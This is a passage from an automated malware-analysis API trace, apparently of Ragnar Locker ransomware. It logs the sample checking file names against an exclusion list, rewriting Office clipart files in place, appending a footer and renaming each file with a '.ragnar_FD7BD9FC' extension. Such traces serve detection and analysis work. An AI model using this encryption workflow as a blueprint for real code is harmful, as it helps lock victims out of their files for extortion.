dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18b0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.682] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.682] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x18b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.682] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.682] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.682] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.682] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.682] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.682] GetProcessHeap () returned 0x580000 [0083.682] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.682] CloseHandle (hObject=0xf4) returned 1 [0083.683] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" [0083.683] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.ragnar_FD7BD9FC" [0083.683] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.683] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105306.WMF", cAlternateFileName="")) returned 1 [0083.683] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.683] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105306.WMF" | out: lpString1="J0105306.WMF") returned="J0105306.WMF" [0083.683] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned=".WMF" [0083.683] lstrcmpiW (lpString1="J0105306.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.683] lstrcmpiW (lpString1="J0105306.WMF", lpString2="autorun.inf") returned 1 [0083.683] lstrcmpiW (lpString1="J0105306.WMF", lpString2="boot.ini") returned 1 [0083.683] lstrcmpiW (lpString1="J0105306.WMF", lpString2="bootfont.bin") returned 1 [0083.683] lstrcmpiW (lpString1="J0105306.WMF", lpString2="bootsect.bak") returned 1 [0083.683] lstrcmpiW (lpString1="J0105306.WMF", lpString2="bootmgr") returned 1 [0083.683] lstrcmpiW (lpString1="J0105306.WMF", lpString2="bootmgr.efi") returned 1 [0083.684] lstrcmpiW (lpString1="J0105306.WMF", lpString2="bootmgfw.efi") returned 1 [0083.684] lstrcmpiW (lpString1="J0105306.WMF", lpString2="desktop.ini") returned 1 [0083.684] lstrcmpiW (lpString1="J0105306.WMF", lpString2="iconcache.db") returned 1 [0083.684] lstrcmpiW (lpString1="J0105306.WMF", lpString2="ntldr") returned -1 [0083.684] lstrcmpiW (lpString1="J0105306.WMF", lpString2="ntuser.dat") returned -1 [0083.684] lstrcmpiW (lpString1="J0105306.WMF", lpString2="ntuser.dat.log") returned -1 [0083.684] lstrcmpiW (lpString1="J0105306.WMF", lpString2="ntuser.ini") returned -1 [0083.684] lstrcmpiW (lpString1="J0105306.WMF", lpString2="thumbs.db") returned -1 [0083.684] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.684] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.684] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.684] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.684] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.684] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.684] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf")) returned 0x20 [0083.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.684] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4320) returned 1 [0083.684] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x10d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.684] GetProcessHeap () returned 0x580000 [0083.684] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.684] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.686] VirtualAlloc (lpAddress=0x0, dwSize=0x10e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.686] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.687] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.687] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x10e0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x10e0, lpOverlapped=0x0) returned 1 [0083.687] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.688] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.688] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x10e0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x10e0, lpOverlapped=0x0) returned 1 [0083.688] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.688] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.688] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x10e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.688] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.688] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.688] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.688] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.688] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.688] GetProcessHeap () returned 0x580000 [0083.688] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.688] CloseHandle (hObject=0xf4) returned 1 [0083.688] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" [0083.689] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.ragnar_FD7BD9FC" [0083.689] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.689] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105320.WMF", cAlternateFileName="")) returned 1 [0083.689] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.689] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105320.WMF" | out: lpString1="J0105320.WMF") returned="J0105320.WMF" [0083.689] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned=".WMF" [0083.689] lstrcmpiW (lpString1="J0105320.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.689] lstrcmpiW (lpString1="J0105320.WMF", lpString2="autorun.inf") returned 1 [0083.689] lstrcmpiW (lpString1="J0105320.WMF", lpString2="boot.ini") returned 1 [0083.689] lstrcmpiW (lpString1="J0105320.WMF", lpString2="bootfont.bin") returned 1 [0083.689] lstrcmpiW (lpString1="J0105320.WMF", lpString2="bootsect.bak") returned 1 [0083.689] lstrcmpiW (lpString1="J0105320.WMF", lpString2="bootmgr") returned 1 [0083.689] lstrcmpiW (lpString1="J0105320.WMF", lpString2="bootmgr.efi") returned 1 [0083.689] lstrcmpiW (lpString1="J0105320.WMF", lpString2="bootmgfw.efi") returned 1 [0083.689] lstrcmpiW (lpString1="J0105320.WMF", lpString2="desktop.ini") returned 1 [0083.690] lstrcmpiW (lpString1="J0105320.WMF", lpString2="iconcache.db") returned 1 [0083.690] lstrcmpiW (lpString1="J0105320.WMF", lpString2="ntldr") returned -1 [0083.690] lstrcmpiW (lpString1="J0105320.WMF", lpString2="ntuser.dat") returned -1 [0083.690] lstrcmpiW (lpString1="J0105320.WMF", lpString2="ntuser.dat.log") returned -1 [0083.690] lstrcmpiW (lpString1="J0105320.WMF", lpString2="ntuser.ini") returned -1 [0083.690] lstrcmpiW (lpString1="J0105320.WMF", lpString2="thumbs.db") returned -1 [0083.690] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.690] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.690] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.690] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.690] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.690] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.690] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf")) returned 0x20 [0083.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.691] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2020) returned 1 [0083.691] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.691] GetProcessHeap () returned 0x580000 [0083.691] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.691] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.693] VirtualAlloc (lpAddress=0x0, dwSize=0x7e4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.693] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.693] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.693] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7e4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7e4, lpOverlapped=0x0) returned 1 [0083.693] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.693] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7e4, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.693] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7e4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7e4, lpOverlapped=0x0) returned 1 [0083.693] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7e4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.693] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.693] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.693] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.694] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.694] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.694] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.694] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.694] GetProcessHeap () returned 0x580000 [0083.694] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.694] CloseHandle (hObject=0xf4) returned 1 [0083.694] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" [0083.694] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.ragnar_FD7BD9FC" [0083.694] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.695] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105328.WMF", cAlternateFileName="")) returned 1 [0083.695] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.695] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105328.WMF" | out: lpString1="J0105328.WMF") returned="J0105328.WMF" [0083.695] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned=".WMF" [0083.695] lstrcmpiW (lpString1="J0105328.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.695] lstrcmpiW (lpString1="J0105328.WMF", lpString2="autorun.inf") returned 1 [0083.695] lstrcmpiW (lpString1="J0105328.WMF", lpString2="boot.ini") returned 1 [0083.695] lstrcmpiW (lpString1="J0105328.WMF", lpString2="bootfont.bin") returned 1 [0083.695] lstrcmpiW (lpString1="J0105328.WMF", lpString2="bootsect.bak") returned 1 [0083.695] lstrcmpiW (lpString1="J0105328.WMF", lpString2="bootmgr") returned 1 [0083.695] lstrcmpiW (lpString1="J0105328.WMF", lpString2="bootmgr.efi") returned 1 [0083.695] lstrcmpiW (lpString1="J0105328.WMF", lpString2="bootmgfw.efi") returned 1 [0083.695] lstrcmpiW (lpString1="J0105328.WMF", lpString2="desktop.ini") returned 1 [0083.695] lstrcmpiW (lpString1="J0105328.WMF", lpString2="iconcache.db") returned 1 [0083.695] lstrcmpiW (lpString1="J0105328.WMF", lpString2="ntldr") returned -1 [0083.695] lstrcmpiW (lpString1="J0105328.WMF", lpString2="ntuser.dat") returned -1 [0083.695] lstrcmpiW (lpString1="J0105328.WMF", lpString2="ntuser.dat.log") returned -1 [0083.695] lstrcmpiW (lpString1="J0105328.WMF", lpString2="ntuser.ini") returned -1 [0083.695] lstrcmpiW (lpString1="J0105328.WMF", lpString2="thumbs.db") returned -1 [0083.695] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.695] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.695] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.695] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.695] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.696] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.696] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf")) returned 0x20 [0083.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.696] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7992) returned 1 [0083.696] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.696] GetProcessHeap () returned 0x580000 [0083.696] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.696] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.698] VirtualAlloc (lpAddress=0x0, dwSize=0x1f38, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.698] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.698] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.698] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f38, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f38, lpOverlapped=0x0) returned 1 [0083.699] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.699] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f38, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.699] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f38, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f38, lpOverlapped=0x0) returned 1 [0083.699] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f38, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.699] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.699] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.699] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.700] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.700] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, 